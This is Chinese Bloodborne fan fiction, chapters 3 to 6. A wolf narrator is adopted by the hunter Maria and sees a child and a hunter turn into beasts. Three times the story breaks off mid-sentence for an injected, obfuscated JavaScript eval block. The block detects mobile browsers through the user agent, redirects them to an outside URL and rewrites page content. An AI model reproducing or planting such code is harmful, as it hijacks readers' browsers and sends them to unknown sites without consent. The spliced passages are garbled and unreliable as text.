《[血源诅咒]月食》 3. 03 那个时候，她最先注意到的是气味的改变。 黑暗的森林铺满腐败的枯叶，寒冷的雾气似幽灵如影随形。猎人手里的提灯如同鲸鱼的眼，浑浊的光芒散发着动物油脂和铁锈的味道。 新鲜的血液和干涸的血迹闻起来并不一样。下过雨的土壤和干燥的泥块截然不同。 人类和野兽的味道，闻起来也并不一样。 那孩子的体温降了下去，惊厥不再发作，噩梦似乎已经止息。明明一切都彰显出病情好转的迹象，但就像突然被踩断的枯枝，晴朗冬日从屋檐一角猝然落下的积雪，那时她忽然闻到了什么东西酸腐变味的气息。 如同过期的牛奶、久未开封的罐头，打开盖子的那一刹那，古怪的味道满溢而出。 她拧过身，猎人手中的提灯落到地上，昏暗的火光触到枯叶即燃。年幼而凄厉的咆哮随之响起——那发出声音的东西前不久还被猎人抱在怀里，用披风仔细地掩去了寒风的侵袭。 小小的怪物摔到地上，四肢着地撑起身躯。它似是极其惧怕燃烧的枯叶，同时又被新生的饥饿所驱使，瞳孔扩张的眼瞳直勾勾地望着猎人的方向。 它眼中有毫不掩饰的贪婪，比火焰更加刺目的渴望。如果是普通的村民此时早已吓得连滚带爬，但猎人只是站在不远处，然后默默拔出了腰间的银质猎枪。 年幼的野兽弓起背。它披头散发，嘴里不断发出奇怪的声音，稚嫩的脸庞还保留着人类的五官，神志却已经明显被嗜血的渴望吞没。 “啊啊啊……！！”它发出刺耳的尖啸，闪电般朝猎人的方向扑了过去。 风声袭来，猎人扣在扳机上的手指似乎微微顿了一下。那大概率只是她的错觉，因为下一瞬，枪声响起，那小小的怪物身子一歪，从半空砸落回地面，发出噗通一声闷响。 她无意识往前走了几步，湿润新鲜的血腥味弥漫开来。此时黎明恰好破晓，灰色的清晨驱散了黑暗的夜晚，将其稀释成清冷的雾气。 那幼小的怪物歪倒在枯叶上，银发的猎人准头极好，直接一枪打穿了它的胸口，鲜红的血液染红了破烂的衣裳。 她还待在原地愣神，猎人已经冷静地扑灭了火光，将提灯重新收了起来。 轻微的抽搐声传来，幼小的怪物还留有一口气。猎人朝它走去，它好像在害怕，眼中涌出惧怕的神色。但猎人只是蹲下身，用手轻轻托起它的脑袋。 野兽的瞳孔映出人类的眼睛。它好像短暂回想起了什么，短暂地模糊了幻想和现实，喉咙中发出血沫涌动的咕噜噜声。 她听得懂那个小姑娘在说什么。 「妈妈……」 那声音低微下去。猎人静静地托着它，直到它眼中的最后一点光芒也熄灭下去，被死亡镀上青灰的玻璃釉。 埋葬尸体的过程中，猎人看起来好像并不难过。 不管是寻找合适的埋葬地点，还是挖掘坟墓的过程，猎人的动作都过于娴熟，仿佛相同的事情她早已做过千百次。 灰蒙蒙的白昼勾勒出森绿的冷杉，浓稠的雾气给人一种随时都会下雨的感觉。猎人给那小小的坟墓盖上最后一捧土，直起身正要退后，她衔着一小束不知道从哪里找到的野花凑过来，抬起眼睛露出巴巴的表情。 猎人抬起手，然后摸了摸她的头。 这个季节——她其实无法判断目前是哪个季节——在野外盛开的花卉不多。 猎人蹲下身，将那束黄色的野花放到小小的坟墓上。 “……关于你的主人，我很抱歉。” 那个小姑娘不是她的主人——她试图用眼神传递这个信息。由于不能口吐人言，她还摇了摇尾巴，希望猎人能借此明白她并无怪罪之意。 猎人离开时，她忙不迭跟上去，就差没紧紧贴在猎人腿边，表达出自己不想和对方分离的意图。 “……啊呜。” 在这个人类不知何时就会变成怪物的世界里，只有猎人的身边最安全。 “啊呜呜。” 她嗷了几嗓子，但对方一看就是喜静的个性，于是又赶紧闭上了嘴。 好消息：猎人目前还没有赶她走。 坏消息：猎人目前也没有答应收留她。 她得苟住。 幽绿的森林绵延无尽，仿佛藤蔓和树枝交织的巨大迷宫。不知走了多久，在白昼再次被黑夜吞没之前，铺满落叶的林间小径终于渐渐拓宽成石板铺就的道路。 潮湿的风中传来湖水的气息，但湖泊暂时见不到踪影。巨大的穹顶石砖建筑从森林后方显出身形，漆黑冰冷的雕花铁门矗立在道路尽头。 守门人认出了猎人的身影，颇有历史年头的铁门嘎吱作响着缓缓开启。 她紧紧跟在猎人身边。穹顶的古典建筑内部光线昏暗，木质的走廊两侧烛光摇曳。空旷寂静的走道一时只能听见她爪子哒哒的回声。 两人走的似乎是后门，尽量避开了遇到其他人的可能。走廊尽头右侧的房间门扉留了一丝缝隙，此时里面正传来谈话的声音。 虽然是谈话，但主要还是一个人在神采飞扬地阐述自己的想法。 “瞧瞧，这是谁来了？”听到脚步声，站在壁炉前的金发男人转过身。他看起来三十岁出头，穿着折领的衬衫和橄榄绿的马甲，外面套了一件缀着穗子的学士服外套。整个人看起来文质彬彬，颇有魅力，是一位在舞会上邀请淑女时绝不会遭到拒绝的绅士。 “劳伦斯。”银发的猎人微微颔首，算是和对方打过招呼。 随后，她看向站在壁炉旁边的身影，语气流露出一丝敬意。 “格曼老师。” 那个男人尽管在室内也戴着黑色的宽檐帽，帽檐低到遮去了他的大半面容。他站在壁炉旁的阴影里，身形瘦削，略有些驼背，明明个子高大，开口前却几乎不会让人察觉到他的存在。 “你回来了，玛利亚。”低沉的声音略显沙哑，那个男人以老师关心弟子的语气道，“这次的狩猎如何？” ——银发猎人的名字原来是玛利亚。 她喜欢这个名字。 她无意识摇起尾巴。 “我看到你带了一个新伙伴回来，它有名字吗？” 保持着得体的笑容，劳伦斯将话题转移到了她身上。 她摇尾巴的幅度不自觉变小了。 “这是村里的牧羊犬。”玛利亚说，“它没有染病。” 格曼抬起眼帘：“现在要下结论还为时尚早。” 玛利亚没有改变自己的主张：“这一路上它都没有产生异变，也没有对人类发起攻击。” 名为格曼的猎人身上混杂着木屑、皮革、金属、刀油、火药和蜡烛的气味，不知道的估计会以为对方是什么作坊的工匠，这点从男人手上的厚茧也可见一斑。 但不管是格曼还是玛利亚，两人身上都萦绕着一股挥散不去、常年浸泡在血腥里的人才会有的气味。 “玛利亚，你知道我们为什么从不使用猎犬，更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306023|167218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何况——” “——更何况它并不是什么牧羊犬，”劳伦斯笑眯眯地插话，“它是一头不折不扣、如假包换的狼。” 她停止摇动尾巴。 她瞳孔剧烈地震。 ——她居然是一头狼！ 不是狗，是威风凛凛的狼。 她下意识看向玛利亚，后者微不可察地顿了一下。 ——噫！你居然也没看出来吗？ “狼和狗不一样，是不能家养的动物。” 被抢去台词的格曼看了劳伦斯一眼。劳伦斯摊开手，微笑着继续道：“不过，如果是从那个村里出来的，就不得不让人有点感兴趣了。” 她贴向玛利亚，紧紧靠着她的大腿侧，小小地“呜”了一声。 玛利亚：“……是狼是狗都无所谓，我已经决定收养它了。” 黑色的宽帽檐下，格曼打量她的目光似乎变得像镰刀一般锋利。 她撇下耳朵，从下往上看，尽力摆出自己最狗的表情，甚至轻轻摆动起尾巴尖。 劳伦斯：“……嗯，也有可能是混有狼的血脉的牧羊犬。” “不过，不论如何，肯定还是要先隔离观察一段时间。发病的时间既然可以因人而异，在动物身上会产生什么差异，这个可能性我们必须得考虑。” “你应该先去休息，玛利亚。”格曼开口，“如果它确实没有感染，几日后就会获得自由。” 劳伦斯补充：“你若还是不放心，照顾它的事情可以交给路德维希。那小子最是死板，但换句话说，在守规矩这方面也最靠得住。” 她看向玛利亚，发出呜呜咽咽的声音。银发的猎人低头看她片刻，然后抬手摸了摸她的脑袋。 “我会来看你的。”她压低声音。 这不是她想要的结果。她差点呜呜汪汪地叫起来，但现在要表现得乖巧才能活命。 玛利亚将她交到路德维希手中时，她只是一步三回头地表达了自己对玛利亚的不舍，倒没有真的跳起来咬这个叫路德维希的家伙一口以表抗议。 “……哦，玛利亚，我从不知道你原来这么喜欢动物……”劳伦斯打趣的声音在身后渐渐远去。她不知道三人留在那个有壁炉的房间里说了些什么，只依稀听到劳伦斯敛起声音里轻快的笑意，语气也渐渐随着炉火的噼啪声低沉下去。 “——好了，进去吧。” 陌生的声音让她回过神。 那个叫路德维希的猎人学徒对她很礼貌。虽然很礼貌，对方还是按照规矩将她关进了足有半人高的铁笼。 隔着铁笼，她和黑发的青年对视。 那是一张非常年轻的脸，看起来绝对没有超过二十岁。他身上嗅不到什么血液和尸体味道——要知道，哪怕是看起来像一位儒雅绅士的劳伦斯，学术袍上也沾染了一丝淡淡的血腥味。 和玛利亚以及格曼身上的血腥味不同，劳伦斯身上的味道……让她想到某种化学制品，或是防腐剂。 那个有着漂亮金发的男人，身上有死人的味道，而且很重。 她在笼子里踱步几圈，找了个勉强还算舒服的位置趴下来。接下来几天，她都和这个叫路德维希的家伙相安无事。 他每天负责给她换水送饭，而且永远准时。因为送来的饭菜居然还有温度，不是冷掉的残羹，她都差点忍不住要对这个人稍微有所改观了。 但到了第五天的时候，送到她笼子里的清水，不知怎的换成了一盆鲜红的血。 4. 04 端到她笼子里的那盆东西，不管是从气味还是色泽判断，都毋庸置疑是血没错。 暗红的血液艳丽如宝石，她甚至能嗅出那血液的新鲜程度。它可怜的捐献者前不久还活蹦乱跳，死亡时间估计就在几分钟前。 ……是野兔，还是家禽？ 真是奢侈的待遇。如果她是普通的野兽，面对这么一盆温热芳香的血液，估计早已迫不及待地扑上去痛饮一番。 她轻轻耸动鼻子，将鼻尖凑到盆子的边缘嗅了嗅。 黑发的青年坐在不远处，看似随意地将胳膊肘搭在膝盖上，实际上一瞬不瞬地观察着她的行为。他的身体无意识微微前倾，如果遇到突发情况随时都能动手。 灰白的阳光透过尖耸的高窗落进来，这是一个摆设简陋的房间，以前曾经可能被当做储物室。尘埃在空气里散漫游走，年久失修的木地板时不时会呻吟一声，让人疑神疑鬼地四处张望。 她停止耸动鼻尖，然后从盆边抬起头。 大概是她嫌弃的神态过于明显，黑发的青年似乎默了片刻。 路德维希离开椅子，来到铁笼前蹲下身，视线和她持平。 “你……对血不感兴趣吗？”她听出了他语气里的迟疑。 她皱起鼻子，嫌弃的神情愈发明显。 无语归无语，她是一头有教养的狼，不会随便打翻别人给她的东西。她扫了扫尾巴，然后转过身，走到铁笼的角落里准备趴下来。 突然出现的陌生猎人打断了她休息的计划。那个男人穿着黑色的斗篷，戴着黑色的宽檐帽，皮肤粗糙的脸颊上留着一道吓人的长疤，好像他曾被某种尖锐的东西犁开血肉，脸都差点被撕成两半。 他腰间的皮带上拴着各种工具，长靴上的血迹还未干涸，身上散发出一股墓土和金属的腐朽气味，整个人都像刚从地底里钻出来的。 “隔着老远就能闻到野兽的臭味。”那个猎人喃喃自语着，一脚踹上她的铁笼，突兀的巨响把她吓了一跳，下意识跳起来朝那人露出獠牙。 路德维希喊了一声那个猎人的名字，试图阻止对方的暴力行为，但那人的脾气比他狂躁得多，直接狠狠将他推到一边。 堆积在一起的杂物哗然散落。 “把这么危险的畜生带进来，你是想害死我们所有人吗？！”那个猎人嚷嚷着，掏出腰间的枪。 胸膛剧烈起伏，他将枪口指向她的方向：“……这见鬼的野兽就算现在没发狂，距离病变也不远了。” 那人疲惫的眼睛遍布血丝，眼神透出一股强烈而怨毒的恨意。她寒毛直竖，僵在铁笼里不知如何是好。 就在这时—— “够了。”清冷的声音响起，一道身影按住了那人的手臂。 黑色的三角帽微微压低，遮去了苍白面容的神情，只露出轮廓清晰精巧的下颌。银发的猎人语气平和，但抓着对方手臂的力道极稳，而且似乎用上了巧劲，如同铁箍般让人动弹不得。 “……滚开，玛利亚！不然休怪我枪口无情。” “你应该回去休息。”银发的猎人抬起眼帘。若仔细观察，便能发现猎人的眼下也有多日未曾合眼导致的青黑。“你自己也很清楚这点。” 对方的肩膀颤抖起来。她反应片刻，才意识到对方在笑。 漫长的僵持过后，疤脸的猎人垂下枪口，挥开玛利亚的手臂。他气息不稳地喘着气，如同漏风的风箱一般发出呼哧呼哧的笑声。 “见鬼的休息。”他说，“我发誓，这些野兽……这狩猎，永无止境，就算下地狱也不会让我有片刻安歇。” “……我认为你应该和路德维希道一声歉。”银发的猎人神情恬淡，即使疲惫，举手投足也绝不会失态。“他只是在按照规矩办事。” “至于它——” 她早就将龇牙的姿态收了起去，此刻在笼子里支起耳朵，尾巴在身后轻甩，看起来和牧羊犬一样乖巧又无害。 “它是我带回来的，也由我负责。” 疤脸的猎人背过身沉默不语。窗外此时响起了钟声。 浑浊厚重的钟声在寂静中久久回荡，如同天气阴沉欲雨的征兆。她毫无来由地明白，那是悼念亡者的丧钟。 “你的搭档的事，我们都很遗憾。” 一个陌生的名字出现在玛利亚的口中。 她压低声音：“你们认识这么多年，他的死亡对你来说一定很不好受。” “……回去睡一觉吧。睡一觉起来后，一定会好起来的。” 堆积杂物的储藏室落满了岁月的尘埃。微微踉跄的脚步声走远后，寂静又重新笼罩下来。 “它最近还好吗？”玛利亚在她的笼子前蹲下身，她忍不住疯狂摇起尾巴，尾巴尖啪啪敲打着铁笼的栏杆。 “它很有精神。”路德维希这么说着，又看了她的尾巴一眼。 “啊呜。”她说，“啊呜呜。” 可惜她只是一头狼。作为犬科动物，人们会越过她说话，探讨她的情况，似乎也是理所当然。 “你觉得它有病变的征兆吗？” “不，与之相反，我觉得它比普通的家养犬更有自制力。” 路德维希口中的自制力指的是什么不言而喻。 “这几天辛苦你了。”玛利亚道，“比起照看它，想必你对拜伦维斯这次的考古收获更感兴趣。” “怎么说？” “劳伦斯接下来一段时间都有的忙了。”玛利亚站起身，言简意赅地回答：“我们发现了更多的血液样本，时隔漫长的岁月依然保持了鲜活。” “劳伦斯先生认为血液能让我们接触到生命进化的钥匙。”路德维希自然地补充，“让人类摆脱愚昧的诅咒。” “他本人确实对此深信不疑。” “你不这么认为吗？” 玛利亚：“现在要下结论还为时尚早。” “果然是格曼老师的首席弟子。”路德维希笑了一下。 “他同样对你寄予厚望。”玛利亚道。“尽管不知道你一直选择待在后方的原因是什么，他认为你会成为一个不错的领导者。” 两人的谈话对她来说就像在打哑谜。 “猎人不擅长团队合作，大多数人都过于自我，习惯单打独斗。只要凑在一起，难免会发生摩擦。今天的事，你不要放在心上。” “我当然不会介怀。”路德维希摇摇头，“还是来说说它的事吧。只要接下来两天没问题，它就自由了。容我多问一句，你打算收养它吗？” “我确有此意。”玛利亚问道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306024|167218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么了吗？” “……没什么，就是问问。” 有了盼头，两天的时间很快过去。玛利亚亲自来接她，她离开铁笼时，简直一蹦三尺高，差点直接扑到银发的猎人身上。 她围着玛利亚转了一圈，然后又围着玛利亚转了一圈。 时间是深夜，木质的走廊里点着蜡烛。玛利亚的房间在二楼。推开木门后，铺着地毯的房间映入眼帘。 屋内家具摆设一应俱全。燃烧的壁炉上方挂着油画，枝状的烛台用的是最好的蜂蜡。厚实的四柱床垂着帘子，橡木的柜子陈列着锡蜡的餐具和银盘。但对于普通人来说，最瞩目的还是猎人保养武器的工作台，出现在古朴典雅的房间里显得有些格格不入。 她环视房间一圈，视线自然而然落到了壁炉前的澡盆。 是的，澡盆。 她感动了。 不需要玛利亚开口，她非常自觉地跳进去，哗啦一声，溅起不小的水花，然后发现水是冷的。 怪不得澡盆要摆在壁炉前，以前的人真是太难了。 但这年头能够洗澡就不错了。作为一头狼，她何德何能，居然还能洗澡！ 她啊呜啊呜地叫唤起来。玛利亚以为她不喜欢，还特意安抚了她几句。 “很快就好了。” 银发的猎人明显是第一次给狗，啊不是，给狼洗澡。 没有香皂，没有香薰，只是单纯地拿着刷子给她刷毛，甚至连刷毛的手法都不太熟练。 她乖乖泡在澡盆里，玛利亚让她转身她就转身，玛利亚让她扬起脖子，她就骄傲地扬起脖子，让对方尽情欣赏她美丽的颈毛。 没错，她很毛茸茸。 这世上一定没有比她更乖的狼了。 她想，她一定要好好表现，争取留下好印象，保证自己未来的铁饭碗。 澡盆里的水是冷的，她的心却火热。愉快的洗澡时间结束后，她从澡盆里优雅轻巧地一跃而出—— 然后落地时一不小心被本能主导，下意识甩起了毛发。 周围的地毯都被她搞湿了，她垂下尾巴，心虚地抬起视线。 玛利亚看起来并没有生气。 “……奇怪的家伙。”银发的猎人蹲下身，耐心地用毛巾开始给她擦拭毛发。明明是生疏的动作，被擦到耳后根时，她舒服得头皮发麻，差点忍不住呼噜起来。 “呜。” 她将脑袋拱到银发的猎人怀里。 猎人身上都有或轻或重的血腥味，但唯有玛利亚的气味她不觉得难闻。 “说起来，你好像还没有名字。”玛利亚后知后觉地想起这个问题。 她说：“……就叫露娜如何？” “啊呜？”她仰起头。 银发的猎人顿了顿，试探道：“露娜？” “啊呜——！” 她忘乎所以地扑上前，舔了猎人的脸颊一口。 反应过来自己做了什么后，她僵在原地。 “乖孩子。” 玛利亚的声音泛起一丝笑意。月光透过窗帘落进来，将那个身影镀上一层朦胧柔软的光辉。 她有些愣神。 猎人抬起手，温柔地摸了摸她的脑袋。 “我叫玛利亚，以后就是你的主人了。” 5.05 玛利亚和其他的猎人都不一样。 这个判断不排除她爱屋及乌的可能，因为陷入热恋的人会无限放大心仪对象的优点，同时忽视对方的所有缺陷，任由自己心里膨胀的爱意将对方变成这世上最完美的存在。 但首先，她现在是一头狼。其次，她并没有坠入爱河。她相信自己的判断有绝对客观公正的地方，证据之一就是玛利亚只要往猎人中间一站，很快就会像淤泥里的花朵、黑夜里的月光一样脱颖而出。 其他猎人也能察觉到这种不同：玛利亚谈吐文雅，从不使用粗话。她情绪稳定，绝不轻易发怒，总是和所有人保持着恰当但又不会显得过于疏远的距离。 哪怕是用斗篷擦拭刀刃血污的时候，银发猎人的动作也比其他人优雅细致，一言一行皆彰显出和猎人这个职业格格不入的良好教养和高贵出身。 ——从事体力劳动是非特权阶级的证明，而经常和野兽打交道、工作性质有时候和屠夫无异的猎人，毫无疑问处于社会等级制度的下层。 绝大多数人都不知道玛利亚从何而来，又为什么会选择这个职业。作为玛利亚的老师，格曼不喜与人攀谈，于是这件事到现在仍是谜题，只能任由人们从各种蛛丝马迹中自行推断。 玛利亚显然不是本地人。虽然她发音准确，表达流利，用词也没有任何不妥，但正是这教科书般的标准背叛了她不是本地人的事实。 就像一间屋子里的家具一样，使用的年代越久就越是松垮舒适。只有不常使用的家具才会锃亮如新，搬挪叠放皆小心谨慎，唯恐碰坏哪个边边角角，让其失去原本面貌。 本地人说起母语时，有时一不小心就会把音节混作一团，像面团似的在舌头上滚来滚去，语法也是怎么舒服顺口就怎么来。但银发的猎人从不会犯这种错误。 从她口中吐出的每一个音节都像用银色的餐刀切下来的一样。那些经常被本地人省略的辅音，她从不会任其掉落。而那些漂亮的元音，若是凝神细听，偶尔便能发现被家庭教师纠正过的痕迹。 种种蛛丝马迹虽然都已罗列在前，但显而易见，还有更加容易、哪怕是三岁孩童都判断玛利亚不是本地人的方法。 那苍白如雪的皮肤，和月光般美丽冰冷的长发，毫无疑问都不是当地人会拥有的外貌特征。 房间里的壁炉噼啪燃烧，银发的猎人坐在旁边的高背椅上。难得没有任务的时候，玛利亚不是在保养武器，就是在阅读各种书籍。 拜伦维斯在进行某种研究，这研究和他们发现的地底古墓息息相关。虽然不清楚猎人在其中起到的作用，双方达成了某种长期合作，交流明显十分密切。 玛利亚的房间里有一本手账，上面画满了她看不懂的图形和符号。其他猎人可能只把这次合作当成单纯的任务，但玛利亚似乎对拜伦维斯的研究抱有某种个人的兴趣。 银发的猎人沉思时，她就卧在壁炉前的地毯上望着她。 那个画面非常赏心悦目：身姿优雅的猎人长腿交叠，将皮面的书籍放到一边，望着壁炉里的火光出神。 双手交握于怀中，胳膊肘自然搭在扶手上，玛利亚凝神沉思时会微微垂下眼帘，纤密的银色眼睫看起来就像不会融化的霜雪。 注视片刻，她从地毯上站起身，走过去将脑袋枕到猎人的大腿上。 霜雪般的神色微微融化，玛利亚的目光落到她身上。她轻轻摇起尾巴，从喉咙里发出柔软的呜呜声，摆出自己最可怜巴巴的表情向上望去。 ——要摸摸。 猎人已经能熟练地辨别出她细微的肢体语言。 “……好女孩。” 没错，就是这个。她要的就是这个。 她撇下耳朵，方便猎人将手放到自己的脑袋上，然后惬意地眯起眼睛。 ——她绝对没有坠入爱河。 她只是，单纯地很享受这种肢体触碰罢了。 这是犬类的本能。 可惜她如今活动范围受限，虽然不用被关在铁笼里，跟着玛利亚自由出入这件事明显还有待商榷。 她能够完全自由活动的地方只有玛利亚的房间。只要出了这道门，就必须有其他人陪同，而且哪怕如此也不能进入拜伦维斯师生所在的教学楼。 她本来对自己目前的待遇很满意，每天白吃白喝，还不用上班。但美中不足的是她经常见不到玛利亚——银发的猎人总是很忙，而且每次出任务都一连几天见不到人。 每到这种时候，路德维希都会代替玛利亚成为她的监护人，确保她这个大型犬不会在拜伦维斯造成安全隐患。 和玛利亚分别，她绝对没有感到焦躁。她只是偶尔会觉得很无聊，然后只能在房间里来回踱步转圈圈。她很想知道玛利亚每次出任务具体会做什么，但没有人会和一头狼聊天，路德维希也不明白她到底想表达什么。 到底要怎么样才能正式成为一只猎犬呢？ 只要成为了猎犬，她就能光明正大地时刻跟在玛利亚身边了。 玛利亚来了兴趣时，会教她一些基础的指令。她已经学会了“坐下”，“握手”，“前进”，“停下”，但她能看出来，银发的猎人并没有在正儿八经地培养她成为一只猎犬。 至于路德维希，路德维希就更不能指望了。他每天就负责给她送饭，然后在她闲得快发霉时牵她出去溜溜。 “乖孩子。” 他曾经试着像玛利亚这么夸她，然后收获了她嫌弃的眼神。 黑发的青年有些茫然。 “它有什么不对劲的地方吗？” 路德维希问玛利亚。 “爱干净算吗？”玛利亚说，“它很爱洗澡。” 路德维希欲言又止。 “我总觉得……”他犹豫片刻，迟疑着补充，“它看我的眼神有时候过于人性化了。” 她本来正懒洋洋地靠在玛利亚腿边，闻言顿时精神一振。 两人同时朝她看来。为了不露馅，她飞速思考起怎样才能表现得和普通的犬类无异，然后衔住自己的尾巴开始转圈。 “……” “……” 路德维希说：“应该是我的错觉。” 危机解除。 在这个人类会变成野兽的诡异世界，让人看出她不是普通的狗……普通的狼，那就糟糕了。 好在凭着她的聪明才智，到目前为止，一切风平浪静。 又是夜晚。玛利亚离开后，她一个人卧在壁炉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15312008|167218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前，将自己紧紧团在一起。 摇曳的火光拉长了室内的阴影，周围的寂静如同活物，随着夜色的加深生长蔓延。 她注视着工作台的方向，在脑内描绘出猎人保养武器的身影。玛利亚的爱刀名为落叶，刀镡和刀尾由弧形的护手相连，刀身优雅流畅，银色的刀鞘镂有花纹，是一把和她自身气质非常相合的武器，而且能在战斗时拆卸成一长一短的两把刀使用，就像钟面的时针和分针一样，体现出工匠独特的巧思。 保养爱刀时，银发的猎人总是全神贯注，而且经常会忘记时间。有时候她窝在玛利亚脚边，一不小心就直接睡过去了。 作为一头狼，她并不会觉得寒冷。梦中的雨水淅淅沥沥，透过马厩破损的屋顶漏进来。 轮廓扭曲的野兽啃噬着马匹的尸体，身上穿着人类的衣服。她僵硬地卧在干草堆旁，耳边不断响起咀嚼血肉的声音。 「好饿啊……」 那些声音说：「真的好饿啊……」 她在月色下奔跑，越过藤蔓枯萎的篱笆，越过血迹干涸的门栏，在没有活人的村庄里奔跑。 但她好像忘记了什么重要的东西，不管怎么奔跑，都无法甩掉似乎忘记了重要之事的感觉。 「……大狗狗。」 她猛地停下步伐。 冰冷的夜风吹起了翻涌的麦浪，窸窣作响的声音层叠推涌。 「呜……大狗狗。」 那个声音越来越近了。她转过身。一道黑影分开麦浪朝她扑来，张开血盆大口发出凄厉的咆哮。 “铛——” 凌晨的钟声撕碎了梦境，她在壁炉前惊醒，发现窗外的夜色依然混沌一片。 黑暗中，通往拜伦维斯的道路上依稀浮现出点点火光。那些孤魂游鬼般的光点在幽深的林间跃动，而且朝大门的方向越来越近。 ——猎人们提前回来了。 她扭头离开窗边，用牙齿打开门栓，飞快地沿着二楼的楼梯跑下去。 凌晨的大雾中，漆黑的雕花铁门缓缓开启。她还没看清楚猎人们的身影，浓郁的血腥味已经扑面而来。一个人靠在伙伴的身上，似乎已经失去意识，完全是在被其他人架着拖行。 他们路线笔直地朝最近的建筑物后门奔去。很快，金发睡得乱七八糟、明显刚刚被人拖起来的劳伦斯就出现在了临时搭建的手术室里。 这里原本是厨房，壁炉的火光最亮。长桌上的杂物被人通通扫到地上之后变成了手术台。几名猎人七手八脚地将失去意识的同伴放到桌上。 “……别担心，把右腿截掉你很快就会没事了。” 混乱中，她在人群边沿瞥到了玛利亚的身影。银发的猎人蹙着眉，神色晦暗地望着躺在桌上的身影。 没时间去拿专业的器具，进行手术的工具只能现场取材。 失去意识的人清醒过来，痛嚎撕心裂肺。旁边的猎人动作娴熟地按住同伴的身体，血液迸出来时，所有人都面色不变。动作利索的甚至已经到壁炉边拿起铁钳，准备烧烫后用来止血。 挣扎的动静微弱下去。但就在那一刹那，她忽然寒毛直竖。 湿润厚重的血腥味中，传来了一股什么东西酸腐变味的气息。 6.06 刺耳的狼嚎突兀响起，屋内动静一窒。紧接着，不知是谁咒骂了一声，愤怒焦躁的情绪如同滚油遇水，瞬间在空气里迸溅开来。 “路德维希！……那个家伙去哪了，该死的！赶紧把这头畜生拉走！” 一双有力的手臂从后搂住了她的脖子，被点到名字的黑发青年按住她的身躯，试图让她冷静下来。 截肢的手术还在进行。由于医疗条件有限，这个年代的手术动作一定要快，每分每秒都是在和失血过多和感染造成的死亡赛跑。 劳伦斯全神贯注地操持着手里的锯骨刀，对周遭的混乱浑然不觉。猩红的血液不断顺着桌沿流到铁桶里，其他人好像都没注意到那股血腥气里酸腐的味道。 她看到玛利亚离开手术桌旁，朝这边走了过来。她看到被火光照亮的粗糙石墙，映在上面的阴影突然膨胀扩大，接着便是一阵什么东西抽枝生长、破皮而出的抽搐声。 承受不住重量的长桌应声而裂，离那怪物最近的猎人被它一巴掌拍开，脊骨砸上墙面发出一声令人恶寒的闷响。似人非人的痛嚎响彻夜色，她挣开路德维希的束缚，想都没想箭一般蹿出去，在它即将挥出第二击的时候一口咬住它的小臂。 她感到自己的獠牙刺破粗糙的皮肤，深深没入腥臭的血肉。 凭着一股不知道从哪里冒出来的狠劲，她借着奔跑的势头和身体的重量，咬住那怪物的手臂往下一拽，将对方扯得踉跄了一下，短暂地失去了身体重心。 利落的枪声撕碎了空气。那神志不清的怪物在最后一刻凭着某种本能微微侧头，子弹呼啸而过，将壁炉上方的杯盘击了个粉碎。 「……怪物……」 她死死咬住对方的小臂。那个可怖的身影短暂地忘却了疼痛，被锯到一半的右腿血肉模糊、可见森森白骨，它却依然能够凭借某种不可思议的力量保持站立。 「到处……都是怪物……」 它从喉中发出凄厉的嚎叫。下一刻，她的视野急剧模糊，反应过来时，那个怪物已经挥动手臂，直接将她甩了出去。 “……！”她隐约听见路德维希的声音。紧接着，她砸到某人怀里，咕咚一声，两人一起滚落在地。 怪物的嚎叫声突然戛然而止，她抬起头，看见银色的刀光飞速一闪。于此同时，横扫而出的长斧削断了怪物的下肢。 瞬息的寂静后，无头的身躯伴随着一声闷响砸落在地。那颗血淋淋的头颅跟着落下来，滚到离她不远的地面上，露出脸侧的一道长疤。 变成怪物的猎人已经死去，但肃杀凝滞的气氛并没有改变。 她踉跄着站起身，发现周围的猎人都盯着这个方向。壁炉的火光明明灭灭，那些黑色的身影逆光而立，形成某种无声的包围圈，而位于那包围圈中心的猎物——正是她自己。 “……它不是……”在她身后，路德维希试图出声。 “就算现在不是，它已经尝到了野兽之血的味道，很快就会病变。”铿锵一声，拿着锯肉刀的猎人展开手里的武器，冷酷无情的双眼仿佛在注视着一摊死肉。 “收起你那无用的同情心，路德维希。杀死感染的野兽是猎人的天职。” 其他的猎人跟着上前一步。她毛发蓬张，根根直立。 她在心里告诉自己：不能龇露獠牙，千万不能龇露獠牙…… 为首的猎人收住步伐。斩下怪物头颅时被血迹染红的银色刀刃，此刻正平稳地停在他的喉前。 “坐下来吧。”玛利亚表情平淡，以邀请众人赴宴的语气开口。 “危险已被解决，各位没有继续拿着武器站在原地的必要。” 拿着锯肉刀的猎人沉凝片刻，帽檐阴影中的面容不辩喜怒。 “……你这是在威胁我吗，玛利亚？” 